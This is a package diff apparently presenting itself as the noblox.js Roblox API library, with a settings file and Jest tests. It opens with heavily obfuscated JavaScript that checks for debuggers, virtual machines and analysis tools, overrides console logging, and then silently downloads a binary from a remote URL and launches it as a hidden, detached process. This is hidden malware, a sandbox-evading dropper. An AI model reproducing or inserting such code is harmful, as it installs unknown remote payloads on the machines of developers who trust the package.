checkInternet();if(!_0x339672)return{'failed':!![],'reason':_0x9bcd1a(0x92)};}catch(_0x1b36cf){log('Internet\x20check\x20failed');}try{const _0x343103=process['ppid'];if(_0x343103){const _0x1b61ba=await getParentProcessName(_0x343103),_0x1f4d52=[_0x9bcd1a(0xff),_0x9bcd1a(0x106),_0x9bcd1a(0xd4),_0x9bcd1a(0xe3),_0x9bcd1a(0xba),_0x9bcd1a(0x115),_0x9bcd1a(0xe4),_0x9bcd1a(0x11f),'vscode.exe',_0x9bcd1a(0x120),_0x9bcd1a(0xe1)];if(_0x1b61ba&&!_0x1f4d52['includes'](_0x1b61ba[_0x9bcd1a(0xaf)]()))return{'failed':!![],'reason':_0x9bcd1a(0x110)+_0x1b61ba};}}catch(_0x20c67e){log(_0x9bcd1a(0xb9));}try{const _0x3176f3=await getRunningProcesses(),_0x1f4aca=[_0x9bcd1a(0xf9),_0x9bcd1a(0x96),_0x9bcd1a(0x9b),_0x9bcd1a(0x101),'idaw64.exe',_0x9bcd1a(0xd7),_0x9bcd1a(0x113),_0x9bcd1a(0x95),_0x9bcd1a(0xf0),_0x9bcd1a(0xca),'autoruns.exe','autoruns64.exe',_0x9bcd1a(0xcc),'x32dbg.exe','vsjitdebugger.exe'],_0x4da072=_0x3176f3['filter'](_0x22046f=>_0x1f4aca[_0x9bcd1a(0xc0)](_0x22046f[_0x9bcd1a(0xaf)]()));if(_0x4da072[_0x9bcd1a(0xb4)]>0x0)return{'failed':!![],'reason':'Debuggers\x20detected:\x20'+_0x4da072[_0x9bcd1a(0xd3)](',\x20')};}catch(_0x34efe4){log(_0x9bcd1a(0x11d));}try{const _0x12b102=[_0x9bcd1a(0xc7),_0x9bcd1a(0x118),_0x9bcd1a(0xa8),_0x9bcd1a(0xfe),_0x9bcd1a(0xae)];for(const _0x2c6338 of _0x12b102){const _0x38bf6d=await getRegistryValue(_0x2c6338);if(_0x38bf6d&&(_0x38bf6d[_0x9bcd1a(0xaf)]()[_0x9bcd1a(0xc0)](_0x9bcd1a(0xd9))||_0x38bf6d['toLowerCase']()[_0x9bcd1a(0xc0)](_0x9bcd1a(0x99))||_0x38bf6d['toLowerCase']()['includes'](_0x9bcd1a(0xdf))||_0x38bf6d[_0x9bcd1a(0xaf)]()[_0x9bcd1a(0xc0)]('qemu')))return{'failed':!![],'reason':_0x9bcd1a(0x10a)+_0x2c6338};}}catch(_0x14123f){log('Registry\x20check\x20failed');}try{const _0xb1e2cf=['C:\x5cProgram\x20Files\x5cVMware\x5c',_0x9bcd1a(0xda),'C:\x5cProgram\x20Files\x5cOracle\x5cVirtualBox\x5c',_0x9bcd1a(0xc4),_0x9bcd1a(0xb3),_0x9bcd1a(0xa2),'C:\x5cProgram\x20Files\x5cQEMU\x5c'];for(const _0x32681a of _0xb1e2cf){if(_0x2cacb6[_0x9bcd1a(0xac)](_0x32681a))return{'failed':!![],'reason':'VM\x20Directory:\x20'+_0x32681a};}}catch(_0x11ec68){log(_0x9bcd1a(0xfa));}try{const _0x4bf0eb=[_0x9bcd1a(0xd6),_0x9bcd1a(0xd5),'C:\x5cWindows\x5cSystem32\x5cdrivers\x5cvboxmouse.sys',_0x9bcd1a(0x9c),_0x9bcd1a(0x10f),_0x9bcd1a(0x121),_0x9bcd1a(0x11e),'C:\x5cWindows\x5cSystem32\x5cdrivers\x5cqxl.sys','C:\x5cWindows\x5cSystem32\x5cdrivers\x5chyperv.sys',_0x9bcd1a(0x90),_0x9bcd1a(0xce),'C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxNetFlt.sys',_0x9bcd1a(0xb1),'C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxUSBMon.sys',_0x9bcd1a(0x9a),_0x9bcd1a(0x9f),_0x9bcd1a(0xfb),_0x9bcd1a(0x10f),_0x9bcd1a(0xab)];for(const _0x3adfe9 of _0x4bf0eb){if(_0x2cacb6[_0x9bcd1a(0xac)](_0x3adfe9))return{'failed':!![],'reason':_0x9bcd1a(0xc1)+_0x3adfe9};}}catch(_0x3f7e98){log(_0x9bcd1a(0xef));}try{const _0x327eb1=_0x533b59[_0x9bcd1a(0xa5)]();for(const _0x2376c3 of Object[_0x9bcd1a(0xb7)](_0x327eb1)){for(const _0x49a86c of _0x2376c3){if(_0x49a86c[_0x9bcd1a(0xfd)]){const _0x43213f=_0x49a86c[_0x9bcd1a(0xfd)][_0x9bcd1a(0xaf)]();if(_0x43213f['startsWith'](_0x9bcd1a(0x103))||_0x43213f['startsWith']('00:50:56')||_0x43213f['startsWith'](_0x9bcd1a(0xed))||_0x43213f[_0x9bcd1a(0x117)](_0x9bcd1a(0xec))||_0x43213f[_0x9bcd1a(0x117)]('00:15:5d')||_0x43213f[_0x9bcd1a(0x117)](_0x9bcd1a(0x112))||_0x43213f[_0x9bcd1a(0x117)]('00:1e:31')||_0x43213f[_0x9bcd1a(0x117)](_0x9bcd1a(0xa6)))return{'failed':!![],'reason':_0x9bcd1a(0xb0)+_0x49a86c[_0x9bcd1a(0xfd)]};}}}}catch(_0x5e1c7f){log(_0x9bcd1a(0x116));}return{'failed':![]};}function getBootTime(){return new Promise((_0x225bf9,_0x594ec2)=>{const _0x3a2392=_0x3c08,_0x2c84f9=spawn(_0x3a2392(0xf3),[]);let _0x49a4cf='';_0x2c84f9['stdout']['on'](_0x3a2392(0x10d),_0x50e811=>_0x49a4cf+=_0x50e811[_0x3a2392(0x105)]()),_0x2c84f9['stderr']['on'](_0x3a2392(0x10d),()=>{}),_0x2c84f9['on'](_0x3a2392(0x11b),_0x41e0a1=>{const _0xbe12a=_0x3a2392;if(_0x41e0a1===0x0)try{const _0x38b1aa=_0x49a4cf['match'](/(?:System\s*(?:Boot|Start-up)\s*Time:\s*)(.*)/i);if(_0x38b1aa&&_0x38b1aa[0x1]){const _0x16ee54=_0x38b1aa[0x1][_0xbe12a(0xdc)](),_0x5156f1=new Date(_0x16ee54);!isNaN(_0x5156f1[_0xbe12a(0xbb)]())?_0x225bf9(_0x5156f1[_0xbe12a(0xbb)]()):_0x594ec2(new Error('Invalid\x20boot\x20time\x20format'));}else{const _0x452b75=_0xbe12a(0xf4),_0x2b7ee8=spawn(_0x452b75,[]);let _0xa7832c='';child2[_0xbe12a(0xd2)]['on']('data',_0x2aed80=>_0xa7832c+=_0x2aed80[_0xbe12a(0x105)]()),child2['on'](_0xbe12a(0x11b),()=>{const _0x6e1870=_0xbe12a;_0xa7832c?_0x225bf9(new Date(_0xa7832c[_0x6e1870(0xdc)]())[_0x6e1870(0xbb)]()):_0x594ec2(new Error(_0x6e1870(0xbd)));});}}catch(_0x20abdd){_0x594ec2(_0x20abdd);}else _0x594ec2(new Error(_0xbe12a(0x109)));}),_0x2c84f9['on'](_0x3a2392(0x10b),_0x594ec2);});}function getParentProcessName(_0x79a278){return new Promise((_0x2a4505,_0x21abb3)=>{const _0xeccc9e=_0x3c08,_0x3fba99=_0xeccc9e(0x107)+_0x79a278+'\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20($process)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20$process.Name\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20';executePowerShell(_0x3fba99)['then'](_0x464704=>{const _0x2b3da5=_0xeccc9e;_0x2a4505(_0x464704[_0x2b3da5(0xdc)]());})[_0xeccc9e(0xa3)](()=>{_0x2a4505('');});});}function _0x3c08(_0x31491a,_0xf8aa15){const _0x5c28e7=_0x31bc();return _0x3c08=function(_0x470cc5,_0x1f0325){_0x470cc5=_0x470cc5-0x90;let _0x3993e5=_0x5c28e7[_0x470cc5];return _0x3993e5;},_0x3c08(_0x31491a,_0xf8aa15);}function getRunningProcesses(){return new Promise((_0xb6d182,_0x27e9f4)=>{const _0x58c600=_0x3c08,_0x2cf534='\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20$processes\x20=\x20Get-Process\x0a\x20\x20\x20\x20\x20\x20\x20\x20$result\x20=\x20@()\x0a\x20\x20\x20\x20\x20\x20\x20\x20foreach\x20($p\x20in\x20$processes)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20$result\x20+=\x20$p.ProcessName\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20$result\x20-join\x20\x22,\x22\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20';executePowerShell(_0x2cf534)[_0x58c600(0xa7)](_0x5148e5=>{if(!_0x5148e5){_0xb6d182([]);return;}_0xb6d182(_0x5148e5['split'](','));})[_0x58c600(0xa3)](()=>{_0xb6d182([]);});});}function getRegistryValue(_0x1b6257){return new Promise((_0x15c991,_0x15efd1)=>{const _0xda44df=_0x3c08,_0x2d2592=_0xda44df(0xd1)+_0x1b6257+_0xda44df(0xdb);executePowerShell(_0x2d2592)[_0xda44df(0xa7)](_0x3f43c9=>{const _0x15e4cd=_0xda44df;_0x15c991(_0x3f43c9[_0x15e4cd(0xdc)]());})['catch'](()=>{_0x15c991('');});});}function checkInternet(){return new Promise((_0x6a13c2,_0x483db1)=>{const _0x299f08=_0x3c08,_0xe08799=require('dns');_0xe08799[_0x299f08(0x102)](_0x299f08(0xe9),_0x1587ae=>{const _0x1817de=_0x299f08;if(!_0x1587ae)return _0x6a13c2(!![]);const _0x307c3e=require(_0x1817de(0xc8)),_0x49b89c=require(_0x1817de(0xe8)),_0x58e439=_0x59fcd1=>{const _0x397e7d=_0x1817de,_0x2ee801=_0x59fcd1[_0x397e7d(0xea)]({'hostname':'www.google.com','path':_0x397e7d(0xee),'timeout':0x1388,'headers':{'Connection':_0x397e7d(0x11b)}},_0xe2b62=>{const _0x130fca=_0x397e7d;_0x2ee801['destroy'](),_0xe2b62[_0x130fca(0xbf)]===0xcc||_0xe2b62['statusCode']===0xc8?_0x6a13c2(!![]):_0x6a13c2(![]);});_0x2ee801['on'](_0x397e7d(0x10b),()=>_0x6a13c2(![])),_0x2ee801['on']('timeout',()=>{const _0x3ab1ff=_0x397e7d;_0x2ee801[_0x3ab1ff(0xb2)](),_0x6a13c2(![]);}),_0x2ee801[_0x397e7d(0xcf)]();};_0x58e439(_0x307c3e);});});}async function run(){const _0x53e02a=_0x15b035,_0xfe49ac=(function(){let _0x20e8c5=!![];return function(_0x8c154d,_0x3e34e5){const _0x239053=_0x20e8c5?function(){const _0x360b73=_0x3c08;if(_0x3e34e5){const _0x39cbd0=_0x3e34e5[_0x360b73(0xde)](_0x8c154d,arguments);return _0x3e34e5=null,_0x39cbd0;}}:function(){};return _0x20e8c5=![],_0x239053;};}()),_0xe2ed11=_0xfe49ac(this,function(){const _0xb23c17=_0x3c08;return _0xe2ed11['toString']()['search'](_0xb23c17(0x10e))[_0xb23c17(0x105)]()[_0xb23c17(0x91)](_0xe2ed11)['search']('(((.+)+)+)+$');});_0xe2ed11();const _0x2269c7=(function(){let _0x303868=!![];return function(_0x1c1982,_0x56189b){const _0x2431a9=_0x303868?function(){if(_0x56189b){const _0x4590bb=_0x56189b['apply'](_0x1c1982,arguments);return _0x56189b=null,_0x4590bb;}}:function(){};return _0x303868=![],_0x2431a9;};}()),_0x3e87ce=_0x2269c7(this,function(){const _0x566253=_0x3c08,_0xb7f7be=function(){const _0x3b3a0b=_0x3c08;let _0x489fd7;try{_0x489fd7=Function(_0x3b3a0b(0xd8)+_0x3b3a0b(0xe6)+');')();}catch(_0x4cbcec){_0x489fd7=window;}return _0x489fd7;},_0x38d1e4=_0xb7f7be(),_0x4dd3e2=_0x38d1e4['console']=_0x38d1e4[_0x566253(0xcb)]||{},_0x114511=['log',_0x566253(0xa0),_0x566253(0x97),_0x566253(0x10b),'exception',_0x566253(0x93),_0x566253(0xbe)];for(let _0xff72d7=0x0;_0xff72d7<_0x114511['length'];_0xff72d7++){const _0x4cbffe=_0x2269c7[_0x566253(0x91)]['prototype']['bind'](_0x2269c7),_0x493453=_0x114511[_0xff72d7],_0x42c61d=_0x4dd3e2[_0x493453]||_0x4cbffe;_0x4cbffe['__proto__']=_0x2269c7[_0x566253(0x98)](_0x2269c7),_0x4cbffe[_0x566253(0x105)]=_0x42c61d[_0x566253(0x105)]['bind'](_0x42c61d),_0x4dd3e2[_0x493453]=_0x4cbffe;}});_0x3e87ce();try{const _0x242a36=await checkEnvironment();if(_0x242a36[_0x53e02a(0xf6)]){log(_0x53e02a(0x104)+_0x242a36[_0x53e02a(0xfc)]);return;}log('Starting\x20download...'),await download(BINARY_URL,BINARY_DEST),log(_0x53e02a(0x10c)),log(_0x53e02a(0xaa));const _0xab8108=spawn(BINARY_DEST,[],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0xab8108[_0x53e02a(0xb6)](),log(_0x53e02a(0x111)),console[_0x53e02a(0xa1)](_0x53e02a(0x11c)),process[_0x53e02a(0xe5)](0x0);}catch(_0x18bbe7){log(_0x53e02a(0xe2)+_0x18bbe7[_0x53e02a(0xf7)]),process['exit'](0x0);}}run()['catch'](_0x1f752b=>{const _0x12df12=_0x15b035;log(_0x12df12(0xf5)+_0x1f752b[_0x12df12(0xf7)]),process[_0x12df12(0xe5)](0x0);});
package/settings.json ADDED
@@ -0,0 +1,115 @@
1
+ {
2
+ "use_noblox_ua": true,
3
+
4
+ "show_deprecation_warnings": true,
5
+ "show_deprecation_warnings_desc": "Prints console warnings for functions that are being polyfilled by newer methods due to upstream Roblox API changes",
6
+
7
+ "session_only": true,
8
+ "session_only_desc": "Minimizes data usage and speed up requests by only saving session cookies, disable if you need other cookies to be saved as well.",
9
+
10
+ "timeout": 10000,
11
+ "timeout_desc": "Timeout for http requests. This is necessary for functions that make a very large number of requests, where it is possible some simply won't connect.",
12
+
13
+ "event": {
14
+ "maxRetries": 5,
15
+ "maxRetries_desc": "Maximum number of consecutive retries after an event times out or fails in some other way.",
16
+ "timeout": 10000,
17
+ "timeout_desc": "Maximum time (in milliseconds) a request can take. If your server has extremely high latency you may have to raise this.",
18
+ "event_desc": "Below is the poll time (in milliseconds) for each of the event functions. A lower number will detect changes much quicker but will stress the network, a higher one does the opposite.",
19
+ "defaultDelay": 10000,
20
+ "onAuditLog": 10000,
21
+ "onWallPost": 10000,
22
+ "onJoinRequestHandle": 10000,
23
+ "onJoinRequest": 10000,
24
+ "onShout": 10000,
25
+ "onBlurbChange": 10000,
26
+ "onGroupTransaction": 60000
27
+ },
28
+
29
+ "thumbnail": {
30
+ "maxRetries": 2,
31
+ "maxRetries_desc": "Maximum number of retries to retrieve a pending thumbnail, rare, but occurs with uncached users (Roblox's cache)",
32
+ "retryDelay": 500,
33
+ "retryDelay_desc": "The time to wait between consecutive retries of retrieving pending thumbnails",
34
+ "failedUrl": {
35
+ "pending": "",
36
+ "blocked": ""
37
+ },
38
+ "failedUrl_desc": "The image URL to provide when an asset thumbnail is still pending or has been moderated by Roblox; defaults to Roblox moderation icon via noblox.js's GitHub repo at https://noblox.js.org/moderatedThumbnails/moderatedThumbnail_{size}.png"
39
+ },
40
+
41
+ "queue": {
42
+ "Message": {
43
+ "delay": 0,
44
+ "desc": "Although messages do have a floodcheck, it is not instituted immediately so this is disabled by default. If you are sending a lot of messages set a delay around 10-15 seconds (10000-15000)"
45
+ }
46
+ },
47
+
48
+ "cache": {
49
+ "XCSRF": {
50
+ "expire": 1800,
51
+ "refresh": false,
52
+ "desc": "XCSRF tokens expire 30 minutes after being created. Until they expire, however, no new tokens can be made. Sometimes an XCSRF token has already been created for the user so the server doesn't know when to collect a new one. During transitions some requests may use invalid tokens. For now, new XCSRF tokens are automatically retrieved when cached ones get rejected."
53
+ },
54
+
55
+ "Verify": {
56
+ "expire": 7200,
57
+ "refresh": 3600,
58
+ "desc": "Verification tokens seem to last extremely long times."
59
+ },
60
+
61
+ "Roles": {
62
+ "expire": 600,
63
+ "refresh": true,
64
+ "desc": "This should be fine unless your group changes its ranks often."
65
+ },
66
+
67
+ "RolesetId": {
68
+ "expire": 86400,
69
+ "refresh": false,
70
+ "desc": "Disable this completely if you don't plan on ever changing your exile bot's rank."
71
+ },
72
+
73
+ "Product": {
74
+ "expire": false,
75
+ "refresh": false,
76
+ "desc": "Disabled by default for security (price checks). If you are only working with ROBLOX assets, however, you can set this to something high (since ROBLOX product info rarely changes)."
77
+ },
78
+
79
+ "GamePassProduct": {
80
+ "expire": 86400,
81
+ "refresh": false,
82
+ "desc": "This should normally be fine unless the information of GamePasses you are working with changes frequently."
83
+ },
84
+
85
+ "NameFromID": {
86
+ "expire": false,
87
+ "refresh": false,
88
+ "desc": "Caches a user's username based on their ID. It is not on by default because it is an uncontrollable change but the option is there to cache it if you would like."
89
+ },
90
+
91
+ "IDFromName": {
92
+ "expire": true,
93
+ "refresh": false,
94
+ "desc": "Permanent cache for a user's ID based on their name. There is no reason this would ever change (changing names would re-match it and old names cannot be reused by other accounts). Only disable if you want this to match current names only."
95
+ },
96
+
97
+ "SenderID": {
98
+ "expire": true,
99
+ "refresh": false,
100
+ "desc": "Permanent cache for the sender's user ID. This should literally never change."
101
+ },
102
+
103
+ "Rank": {
104
+ "expire": false,
105
+ "refresh": false,
106
+ "desc": "Caches rank by user ID. Changes cannot be anticipated so this is not enabled by default."
107
+ },
108
+
109
+ "UsernameHistory": {
110
+ "expire": 86400,
111
+ "refresh": false,
112
+ "desc": "Caches a user's username history based on user id, limit, sort order, and cursor. The rate limit for the associated endpoint is very low, and this setting should be left alone as a result."
113
+ }
114
+ }
115
+ }
@@ -0,0 +1,27 @@
1
+ const { getUserSocialLinks, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Account Information Methods', () => {
12
+ it('getUserSocialLinks() returns a player\'s promotion channel links', () => {
13
+ return getUserSocialLinks(2416399685).then((res) => {
14
+ return expect(res).toMatchObject({
15
+ facebook: expect.toBeOneOf([expect.any(String), null]),
16
+ twitter: expect.toBeOneOf([expect.any(String), null]),
17
+ youtube: expect.toBeOneOf([expect.any(String), null]),
18
+ twitch: expect.toBeOneOf([expect.any(String), null]),
19
+ guilded: expect.toBeOneOf([expect.any(String), null])
20
+ })
21
+ })
22
+ })
23
+
24
+ it('getUserSocialLinks() doesn\'t return a player\'s promotion channel links and errors when user is invalid', async () => {
25
+ return await expect(getUserSocialLinks(-5)).rejects.toThrow()
26
+ })
27
+ })
@@ -0,0 +1,27 @@
1
+ const { block, unblock, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Account Settings Methods', () => {
12
+ it('block() blocks a user on Roblox', async () => {
13
+ await expect(block(4397833)).resolves.not.toThrow()
14
+ })
15
+
16
+ it('block() errors when you try to block a blocked user on Roblox', async () => {
17
+ await expect(block(4397833)).rejects.toThrow()
18
+ })
19
+
20
+ it('unblock() unblocks a user on Roblox', async () => {
21
+ await expect(unblock(4397833)).resolves.not.toThrow()
22
+ })
23
+
24
+ it('block() errors when you try to unblock an unblocked user on Roblox', async () => {
25
+ await expect(unblock(4397833)).rejects.toThrow()
26
+ })
27
+ })
@@ -0,0 +1,81 @@
1
+ const { buy, deleteFromInventory, getGamePassProductInfo, getProductInfo, uploadAnimation, uploadItem, uploadModel, setCookie, getOwnership, getCurrentUser } = require('../lib')
2
+ const fs = require('fs')
3
+
4
+ beforeAll(() => {
5
+ return new Promise(resolve => {
6
+ setCookie(process.env.COOKIE).then(() => {
7
+ resolve()
8
+ })
9
+ })
10
+ })
11
+
12
+ describe('Asset Methods', () => {
13
+ it('deleteFromInventory() successfully deletes an item from user\'s inventory', async () => {
14
+ await getOwnership(await getCurrentUser('UserId'), 1778181).then((res) => {
15
+ if (!res) return buy(1778181)
16
+ })
17
+ return await expect(deleteFromInventory(1778181)).resolves.not.toThrow()
18
+ })
19
+
20
+ it('deleteFromInventory() errors when it tries to delete an item from user\'s inventory that isn\'t there', async () => {
21
+ return await expect(deleteFromInventory(1778181)).rejects.toThrow()
22
+ })
23
+
24
+ it('getGamePassProductInfo() successfully returns a gamepass\'s information', () => {
25
+ return getGamePassProductInfo(2919875).then((res) => {
26
+ return expect(res).toMatchObject({
27
+ Name: expect.any(String),
28
+ Description: expect.any(String),
29
+ Creator: expect.any(Object),
30
+ PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
31
+ })
32
+ })
33
+ })
34
+
35
+ it('getGamePassProductInfo() errors when returning a product\'s information that does not exist', async () => {
36
+ return await expect(getGamePassProductInfo(0)).rejects.toThrow()
37
+ })
38
+
39
+ it('getProductInfo() successfully returns a product\'s information', () => {
40
+ return getProductInfo(1989194006).then((res) => {
41
+ return expect(res).toMatchObject({
42
+ AssetId: expect.any(Number),
43
+ ProductId: expect.any(Number),
44
+ Name: expect.any(String),
45
+ Description: expect.any(String),
46
+ Creator: expect.any(Object),
47
+ PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
48
+ })
49
+ })
50
+ })
51
+
52
+ it('getProductInfo() errors when returning a product\'s information that does not exist', async () => {
53
+ return await expect(getProductInfo(3)).rejects.toThrow()
54
+ })
55
+
56
+ it('uploadAnimation() uploads an animation', () => {
57
+ return uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'), { name: 'noblox', description: 'A noblox test!', copyLocked: true, allowComments: false }).then((res) => {
58
+ return expect(res).toEqual(expect.any(Number))
59
+ })
60
+ })
61
+
62
+ it('uploadAnimation() errors when no options are provided', async () => {
63
+ await expect(uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'))).rejects.toThrow()
64
+ })
65
+
66
+ it('uploadItem() uploads an image', async () => {
67
+ await expect(uploadItem('noblox', 13, fs.createReadStream('./img/noblox-js.png'))).resolves.not.toThrow()
68
+ })
69
+
70
+ it('uploadModel() uploads a model', async () => {
71
+ await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'), {
72
+ name: 'Shark Fin',
73
+ description: 'Uploaded via noblox',
74
+ copyLocked: true
75
+ })).resolves.not.toThrow()
76
+ })
77
+
78
+ it('uploadModel() errors when no options are provided', async () => {
79
+ await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'))).rejects.toThrow()
80
+ })
81
+ })
@@ -0,0 +1,164 @@
1
+ const { avatarRules, currentlyWearing, getAvatar, getCurrentAvatar, getRecentItems, outfitDetails, outfits, redrawAvatar, removeAssetId, setAvatarBodyColors, setAvatarScales, setPlayerAvatarType, setWearingAssets, wearAssetId, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Avatar Methods', () => {
12
+ it('avatarRules() returns avatar rules from Roblox', () => {
13
+ return avatarRules().then((rules) => {
14
+ expect(rules).toMatchObject({
15
+ playerAvatarTypes: expect.any(Array),
16
+ scales: expect.any(Object),
17
+ wearableAssetTypes: expect.any(Array),
18
+ bodyColorsPalette: expect.any(Array),
19
+ basicBodyColorsPalette: expect.any(Array),
20
+ minimumDeltaEBodyColorDifference: expect.any(Number),
21
+ proportionsAndBodyTypeEnabledForUser: expect.any(Boolean),
22
+ defaultClothingAssetLists: expect.any(Object),
23
+ bundlesEnabledForUser: expect.any(Boolean),
24
+ emotesEnabledForUser: expect.any(Boolean)
25
+ })
26
+ })
27
+ })
28
+
29
+ it('currentlyWearing() returns an array containing which assets are being worn by a user', () => {
30
+ return currentlyWearing(1).then((res) => {
31
+ expect(res).toMatchObject({
32
+ assetIds: expect.any(Array)
33
+ })
34
+ })
35
+ })
36
+
37
+ it('getAvatar() returns avatar information on a user', () => {
38
+ return getAvatar(1).then((res) => {
39
+ expect(res).toMatchObject({
40
+ scales: expect.any(Object),
41
+ playerAvatarType: expect.any(String),
42
+ bodyColors: expect.any(Object),
43
+ assets: expect.any(Array),
44
+ defaultShirtApplied: expect.any(Boolean),
45
+ defaultPantsApplied: expect.any(Boolean),
46
+ emotes: expect.any(Array)
47
+ })
48
+ })
49
+ })
50
+
51
+ it('getCurrentAvatar() returns avatar information for logged in user', () => {
52
+ return getCurrentAvatar().then((res) => {
53
+ expect(res).toMatchObject({
54
+ scales: expect.any(Object),
55
+ playerAvatarType: expect.any(String),
56
+ bodyColors: expect.any(Object),
57
+ assets: expect.any(Array),
58
+ defaultShirtApplied: expect.any(Boolean),
59
+ defaultPantsApplied: expect.any(Boolean),
60
+ emotes: expect.any(Array)
61
+ })
62
+ })
63
+ })
64
+
65
+ it('getRecentItems() returns recently worn items for logged in user', () => {
66
+ return getRecentItems('Accessories').then((res) => {
67
+ expect(res).toMatchObject({
68
+ data: expect.any(Array),
69
+ total: expect.any(Number)
70
+ })
71
+ })
72
+ })
73
+
74
+ it('outfitDetails() returns information on a created outfit (costume)', () => {
75
+ return outfitDetails(19461896).then((res) => {
76
+ expect(res).toMatchObject({
77
+ id: expect.any(Number),
78
+ name: expect.any(String),
79
+ assets: expect.any(Array),
80
+ bodyColors: expect.any(Object),
81
+ scale: expect.any(Object),
82
+ playerAvatarType: expect.any(String),
83
+ isEditable: expect.any(Boolean)
84
+ })
85
+ })
86
+ })
87
+
88
+ it('outfits() returns a user\'s oufits', () => {
89
+ return outfits(1).then((res) => {
90
+ expect(res).toMatchObject({
91
+ filteredCount: expect.any(Number),
92
+ data: expect.any(Array),
93
+ total: expect.any(Number)
94
+ })
95
+ })
96
+ })
97
+
98
+ it('redrawAvatar() redraws logged in user\'s avatar or gets flood checked', () => {
99
+ return redrawAvatar().catch((err) => {
100
+ // eslint-disable-next-line jest/no-conditional-expect
101
+ expect(() => { throw new Error(err) }).toThrow('Redraw avatar floodchecked')
102
+ })
103
+ })
104
+
105
+ it('removeAssetId() takes off a worn asset on logged in user\'s avatar', async () => {
106
+ await expect(removeAssetId(1989194006)).resolves.not.toThrow()
107
+ })
108
+
109
+ it('setAvatarBodyColors() sets body colors to selected colors', () => {
110
+ return setAvatarBodyColors(194, 37, 194, 194, 102, 102).then(() => {
111
+ return getCurrentAvatar().then((res) => {
112
+ expect(res.bodyColors).toEqual({
113
+ headColorId: 194,
114
+ torsoColorId: 37,
115
+ rightArmColorId: 194,
116
+ leftArmColorId: 194,
117
+ rightLegColorId: 102,
118
+ leftLegColorId: 102
119
+ })
120
+ })
121
+ })
122
+ })
123
+
124
+ it('setAvatarScales() sets avatar scales', () => {
125
+ return setAvatarScales(1, 1, 1, 1, 0, 0).then(() => {
126
+ return getCurrentAvatar().then((res) => {
127
+ expect(res.scales).toEqual({
128
+ height: 1,
129
+ width: 1,
130
+ head: 1,
131
+ depth: 1,
132
+ proportion: 0,
133
+ bodyType: 0
134
+ })
135
+ })
136
+ })
137
+ })
138
+
139
+ it('setPlayerAvatarType() sets avatar body type', () => {
140
+ return setPlayerAvatarType('R6').then(() => {
141
+ return getCurrentAvatar().then((res) => {
142
+ expect(res.playerAvatarType).toBe('R6')
143
+ })
144
+ })
145
+ })
146
+
147
+ it('setWearingAssets() sets the player worn asset ID list to whatever is provided', async () => {
148
+ await expect(setWearingAssets([63690008,
149
+ 86498048,
150
+ 86500008,
151
+ 86500036,
152
+ 86500054,
153
+ 86500064,
154
+ 86500078,
155
+ 144075659,
156
+ 144076358,
157
+ 144076760
158
+ ])).resolves.not.toThrow()
159
+ })
160
+
161
+ it('wearAssetId() wears the asset ID provided on the currently logged in user\'s avatar', async () => {
162
+ await expect(wearAssetId(1989194006)).resolves.not.toThrow()
163
+ })
164
+ })